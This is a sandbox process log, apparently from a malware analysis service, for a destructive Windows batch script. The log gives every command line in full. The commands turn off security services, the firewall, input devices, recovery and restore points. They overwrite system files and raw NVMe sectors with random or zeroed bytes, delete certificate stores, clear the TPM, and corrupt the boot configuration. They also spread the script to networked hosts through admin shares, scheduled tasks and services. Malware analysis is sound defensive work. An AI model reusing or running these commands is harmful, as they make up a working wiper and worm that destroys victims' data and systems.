- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
  2⤵
  PID:2724
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v AUOptions /t REG_DWORD /d 1 /f
  2⤵
  PID:3864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-ChildItem 'C:\ProgramData\Microsoft\Windows\WER\ReportQueue' -Recurse -ErrorAction SilentlyContinue | Where-Object {:OpenWrite($_.FullName); $b=[byte[]]::new(1024); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:3524
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles logging filename C:\Windows\System32\LogFiles\Firewall\pfirewall.log
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4060
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles logging maxfilesize 0
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1468
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles logging droppedconnections disable
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2136
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles logging allowedconnections disable
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5020
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging" /v LogFilePath /t REG_EXPAND_SZ /d "" /f
  2⤵
  - Modifies firewall policy service
  PID:5012
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging" /v LogFileSize /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:2372
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:2080
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:4148
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:2288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -MemberDefinition '[DllImport(\"user32.dll\")]public static extern bool BlockInput(bool fBlockIt);' -Name Input -Namespace System; [System.Input]::BlockInput($true)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4128
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\stk0pno1\stk0pno1.cmdline"
    3⤵
    PID:4828
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9025.tmp" "c:\Users\Admin\AppData\Local\Temp\stk0pno1\CSC8DF7C5461D024892A1DE999949FC966.TMP"
      4⤵
      PID:3528
- C:\Windows\system32\sc.exe
  sc stop i8042prt kbdclass mouclass kbdhid mouhid
  2⤵
  - Launches sc.exe
  PID:1828
- C:\Windows\system32\sc.exe
  sc delete i8042prt kbdclass mouclass kbdhid mouhid
  2⤵
  PID:1932
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\i8042prt.sys"
  2⤵
  - Modifies file permissions
  PID:1324
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\i8042prt.sys" /grant "Admin:F" /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:2028
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\kbdclass.sys"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1532
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\kbdclass.sys" /grant "Admin:F" /c /q
  2⤵
  PID:4924
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\mouclass.sys"
  2⤵
  - Modifies file permissions
  PID:3128
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\mouclass.sys" /grant "Admin:F" /c /q
  2⤵
  PID:1212
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\kbdhid.sys"
  2⤵
  - Modifies file permissions
  PID:4216
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\kbdhid.sys" /grant "Admin:F" /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:1068
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\mouhid.sys"
  2⤵
  - Possible privilege escalation attempt
  PID:1260
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\mouhid.sys" /grant "Admin:F" /c /q
  2⤵
  PID:4380
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\radardt.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4208
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\radarrs.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2804
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\radardt.dll" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:4764
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\radarrs.dll" /grant Everyone:F /c /q
  2⤵
  PID:872
- C:\Windows\system32\sc.exe
  sc stop DPS
  2⤵
  PID:2844
- C:\Windows\system32\sc.exe
  sc config DPS start= disabled
  2⤵
  - Launches sc.exe
  PID:4528
- C:\Windows\system32\sc.exe
  sc delete DPS
  2⤵
  - Launches sc.exe
  PID:1388
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdclass" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:720
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:4372
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdhid" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:4336
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouhid" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:2964
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator" /v NoActiveProbe /t REG_DWORD /d 0 /f
  2⤵
  PID:4748
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator" /v DisablePassivePolling /t REG_DWORD /d 0 /f
  2⤵
  PID:2328
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet" /v EnableActiveProbing /t REG_DWORD /d 1 /f
  2⤵
  PID:3780
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet" /v ActiveDnsProbeContent /t REG_SZ /d "0.0.0.0" /f
  2⤵
  PID:2032
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet" /v ActiveDnsProbeHost /t REG_SZ /d "corrupted.microsoft.com" /f
  2⤵
  PID:1508
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet" /v ActiveWebProbeHost /t REG_SZ /d "corrupted.msftncsi.com" /f
  2⤵
  PID:556
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
  2⤵
  PID:3996
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Mouse" /v MouseSensitivity /t REG_SZ /d 1 /f
  2⤵
  PID:1060
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Mouse" /v MouseSpeed /t REG_SZ /d 0 /f
  2⤵
  PID:636
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f
  2⤵
  PID:1236
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 00000000000000000300000000005BE000005CE000000000 /f
  2⤵
  PID:4388
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v Flags /t REG_SZ /d 506 /f
  2⤵
  PID:1304
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v Flags /t REG_SZ /d 58 /f
  2⤵
  PID:1656
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\MouseKeys" /v Flags /t REG_SZ /d 506 /f
  2⤵
  PID:116
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:1232
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$svcs=@('WinDefend','WdNisSvc','Sense','WdFilter','wscsvc','SecurityHealthService','mpssvc','BITS','wuauserv','UsoSvc','WaaSMedicSvc','DiagTrack','WSearch','SysMain','WpnService','defragsvc','Spooler','VSS','Schedule','EventLog','HTTP','WinHttpAutoProxySvc','NlaSvc','Netman','DcomLaunch','PlugPlay','KtmRm','MSDTC','PolicyAgent','WerSvc','UxSms','WudfSvc','TrustedInstaller','FontCache','CryptSvc','sppsvc'); foreach($s in $svcs){ Stop-Service $s -Force -ErrorAction SilentlyContinue; Set-Service $s -StartupType Disabled -ErrorAction SilentlyContinue }; sc.exe failure WinDefend reset=86400 actions=restart/0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:4668
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" failure WinDefend reset=86400 actions=restart/0
    3⤵
    - Launches sc.exe
    PID:1980
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:3224
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\Recovery\Winre.wim" /a
  2⤵
  - Modifies file permissions
  PID:2968
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\Recovery\Winre.wim" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "[System.IO.File]::WriteAllBytes('C:\Windows\System32\Recovery\Winre.wim', (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes(65536))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2732
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinRE" /f
  2⤵
  PID:2604
- C:\Windows\system32\certutil.exe
  certutil -f -delstore Root "*"
  2⤵
  PID:1784
- C:\Windows\system32\certutil.exe
  certutil -f -delstore CA "*"
  2⤵
  PID:2188
- C:\Windows\system32\certutil.exe
  certutil -f -delstore My "*"
  2⤵
  PID:4292
- C:\Windows\system32\certutil.exe
  certutil -f -delstore Trust "*"
  2⤵
  PID:3128
- C:\Windows\system32\certutil.exe
  certutil -f -delstore TrustedPublisher "*"
  2⤵
  PID:1212
- C:\Windows\system32\sc.exe
  sc stop CryptSvc
  2⤵
  PID:4216
- C:\Windows\system32\sc.exe
  sc config CryptSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1068
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\SystemCertificates" /f
  2⤵
  - Manipulates Digital Signatures
  PID:2392
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\http.sys" /a
  2⤵
  PID:4768
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\httpapi.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3896
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\winhttp.dll" /a
  2⤵
  - Possible privilege escalation attempt
  PID:2824
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\http.sys" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:4412
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\httpapi.dll" /grant Everyone:F /c /q
  2⤵
  PID:872
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\winhttp.dll" /grant Everyone:F /c /q
  2⤵
  - Modifies file permissions
  PID:2844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$files=@('C:\Windows\System32\drivers\http.sys','C:\Windows\System32\httpapi.dll','C:\Windows\System32\winhttp.dll'); foreach($f in $files){ if(Test-Path $f){ $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1016
- C:\Windows\system32\sc.exe
  sc stop HTTP
  2⤵
  - Launches sc.exe
  PID:3388
- C:\Windows\system32\sc.exe
  sc config HTTP start= disabled
  2⤵
  - Launches sc.exe
  PID:2580
- C:\Windows\system32\sc.exe
  sc delete HTTP
  2⤵
  - Launches sc.exe
  PID:1464
- C:\Windows\system32\sc.exe
  sc stop WinHttpAutoProxySvc
  2⤵
  - Launches sc.exe
  PID:4388
- C:\Windows\system32\sc.exe
  sc config WinHttpAutoProxySvc start= disabled
  2⤵
  PID:3932
- C:\Windows\system32\sc.exe
  sc delete WinHttpAutoProxySvc
  2⤵
  - Launches sc.exe
  PID:1304
- C:\Windows\system32\manage-bde.exe
  manage-bde -protectors -disable c: -rebootcount 0
  2⤵
  PID:2940
- C:\Windows\system32\manage-bde.exe
  manage-bde -forcerecovery c:
  2⤵
  PID:3856
- C:\Windows\system32\manage-bde.exe
  manage-bde -off C:
  2⤵
  PID:3804
- C:\Windows\system32\manage-bde.exe
  manage-bde -off F:
  2⤵
  PID:3432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-Tpm | Disable-TpmAutoProvisioning; Clear-Tpm -AllowClear -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$m='C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260508_c8df07.bat'; $c=Get-Content $m -Raw; $f=Get-Content 'C:\Users\Admin\AppData\Local\Temp\targets.txt' -ErrorAction SilentlyContinue; foreach($i in $f){ $n=$i.Trim(); if($n -and $n -ne $env:COMPUTERNAME){ $s='\\'+$n+'\admin$\System32\Tasks\Microsoft\Windows\systemsecurity.bat'; $r='\\'+$n+'\c$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\systemsecurity.bat'; copy $m $s -Force -ErrorAction SilentlyContinue; copy $m $r -Force -ErrorAction SilentlyContinue; schtasks /create /tn SystemIntegrity /tr 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\systemsecurity.bat' /sc onstart /ru SYSTEM /rl highest /s $n /f 2>&1; schtasks /run /tn SystemIntegrity /s $n 2>&1; reg add '\\$n\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' /v SystemSecurity /t REG_SZ /d 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\systemsecurity.bat' /f 2>&1; sc \\$n create SysSec binPath= ('cmd.exe /c '+$r) start= auto error= ignore 2>&1; sc \\$n start SysSec 2>&1 } }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:1684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$disks=Get-PhysicalDisk | Where-Object BusType -eq 'NVMe'; foreach($d in $disks){ try{ $n='\\.\PhysicalDrive'+$d.DeviceId; $f=[System.IO.File]::OpenWrite($n); $b=[byte[]]::new(4096); $b[0]=0; $b[1]=0; $b[2]=0; $b[3]=0; $b[4]=0; $b[5]=0; $b[6]=0; $b[7]=0; $f.Seek(4096,[System.IO.SeekOrigin]::Begin); $f.Write($b,0,$b.Length); $f.Close() } catch{} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4952
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1416
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\vssvc.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3404
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\vssvc.exe" /deny Everyone:(X)
  2⤵
  PID:2200
- C:\Windows\system32\sc.exe
  sc stop VSS
  2⤵
  - Launches sc.exe
  PID:812
- C:\Windows\system32\sc.exe
  sc config VSS start= disabled
  2⤵
  PID:1340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-WmiObject -Class Win32_SystemRestore | ForEach-Object { $_.Disable('') }; Get-WmiObject -Namespace root/default -Class SystemRestore | ForEach-Object { $_.Remove(999) }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3964
- C:\Windows\system32\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  PID:3416
- C:\Windows\system32\sc.exe
  sc stop srservice
  2⤵
  - Launches sc.exe
  PID:2516
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\VSS\Providers" /f
  2⤵
  PID:2928
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP\Clients" /f
  2⤵
  PID:2616
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP" /f
  2⤵
  PID:2096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\EventSystem\{26c409cc-ae86-11d1-b616-00805fc79216}" /s /f "VSS" 2>nul | find "HKEY"
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\EventSystem\{26c409cc-ae86-11d1-b616-00805fc79216}" /s /f "VSS"
    3⤵
    PID:2488
- - C:\Windows\system32\find.exe
    find "HKEY"
    3⤵
    PID:1408
- C:\Windows\system32\reg.exe
  reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EventSystem\{26c409cc-ae86-11d1-b616-00805fc79216}\EventClasses\{FAF53CC4-BD73-4E36-83F1-2B23F46E513E}-{00000000-0000-0000-0000-000000000000}-{00000000-0000-0000-0000-000000000000}" /f
  2⤵
  PID:4180
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\srclient.dll" /a
  2⤵
  PID:3732
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\srrstr.dll" /a
  2⤵
  PID:2900
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\srclient.dll" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4628
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\srrstr.dll" /deny Everyone:(X)
  2⤵
  - Modifies file permissions
  PID:3888
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:2140
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3828
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4924
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4408
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3096
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4756
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} recoverysequence
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1080
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {default} recoverysequence
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:776
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootlog No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1260
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} quietboot Yes
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1940
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2480
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2000
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} recoverysequence
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /enum firmware | find "identifier"
  2⤵
  PID:3896
- - C:\Windows\system32\bcdedit.exe
    bcdedit /enum firmware
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2824
- - C:\Windows\system32\find.exe
    find "identifier"
    3⤵
    PID:4764
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} path \EFI\Microsoft\Boot\corrupted.efi
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3672
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} device partition=Z:
  2⤵
  - Modifies boot configuration data using bcdedit
  - Enumerates connected drives
  PID:4336
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {fwbootmgr} bootsequence {00000000-0000-0000-0000-000000000000}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4872
- C:\Windows\system32\bcdedit.exe
  bcdedit /export "C:\Users\Admin\AppData\Local\Temp\bcd_backup"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2512
- C:\Windows\system32\bcdedit.exe
  bcdedit /createstore "C:\Users\Admin\AppData\Local\Temp\empty.bcd"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2652
- C:\Windows\system32\bcdedit.exe
  bcdedit /import "C:\Users\Admin\AppData\Local\Temp\empty.bcd" /clean
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1816
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\System32\sfc.exe /a
  2⤵
  PID:1508
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\System32\sfc.exe /deny Everyone:(X)
  2⤵
  PID:3312
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:720
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4948
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2428
- C:\Windows\system32\bcdedit.exe
  bcdedit /timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4312
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} numproc 1
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3844
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} truncatememory 0x10000000
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1236
- C:\Windows\system32\bcdedit.exe
  bcdedit /debug off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:932
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} debug off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4388
- C:\Windows\system32\bcdedit.exe
  bcdedit /dbgsettings serial debugport:0 baudrate:115200 /noumex
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2896
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} debugtype
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3816
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} debugaddress
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1368
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} debugport
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4472
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} baudrate
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:600
- C:\Windows\system32\bcdedit.exe
  bcdedit /ems off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2756
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} emsport
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3860
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} emsbaudrate
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4760
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\kdcom.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4780
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\kdstub.dll" /a
  2⤵
  - Possible privilege escalation attempt
  PID:1904
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\kdnet.dll" /a
  2⤵
  PID:1948
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\kdcom.dll" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1560
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\kdstub.dll" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:1040
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\kdnet.dll" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:2024
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal" /f
  2⤵
  - Impair Defenses: Safe Mode Boot
  PID:5060
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network" /f
  2⤵
  PID:3928
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Option" /v SafeBoot /t REG_DWORD /d 0 /f
  2⤵
  PID:3408
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Configuration Manager" /v LastKnownGood /t REG_DWORD /d 0 /f
  2⤵
  PID:1320
- C:\Windows\system32\takeown.exe
  takeown /f C:\Boot\BCD /a
  2⤵
  - Modifies file permissions
  PID:3212
- C:\Windows\system32\icacls.exe
  icacls C:\Boot\BCD /grant Everyone:F /c /q
  2⤵
  PID:4852
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\corrupted.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:420
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\dwm.exe" /a
  2⤵
  - Modifies file permissions
  PID:1928
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\dwmcore.dll" /a
  2⤵
  - Modifies file permissions
  PID:4736
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\dwmapi.dll" /a
  2⤵
  - Possible privilege escalation attempt
